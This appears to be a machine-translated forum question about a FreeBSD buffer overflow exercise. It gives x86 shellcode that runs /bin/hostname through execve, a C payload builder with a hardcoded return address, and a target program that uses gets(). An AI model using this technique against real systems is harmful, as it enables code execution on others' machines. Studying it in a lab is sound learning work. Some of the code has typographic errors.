シェルコードはホスト名(bin / hostname)を出力します。しかし、コードを実行すると、パスが逆の順序で表示されますが、ホスト名は出力されません。私は実際にバッファオーバーフローを行っています。私はfreebsdインテルマシンを使用しています。これは私のコードです
エラーがどこにあるかを理解できますか
//Prog 1
#include<stdio.h>
main()
{
char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
\x50\xcd\x80”;
int i;
char buf[108];
i=strlen(shellcode);
printf(“%d”,i);
strcpy(buf,shellcode);
for(i=36;i<104:i++)
{
buf[i]='b';
}
buf[104]='\x2c';
buf[105]='\xfa';
buf[106]='\xbf';
buf[107]='\xbf';
printf(“%s”,buf);
return 0;
}
上記のプログラムは以下のプログラムに挿入されます......したがって、バッファオーバーフローを作成し、ホスト名を出力します
#include <stdio.h>
int
main (int argc, char **argv){
char buf[100];
printf("Please Enter your Name");
fflush(stdout);
gets(buf);
printf("Hello %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}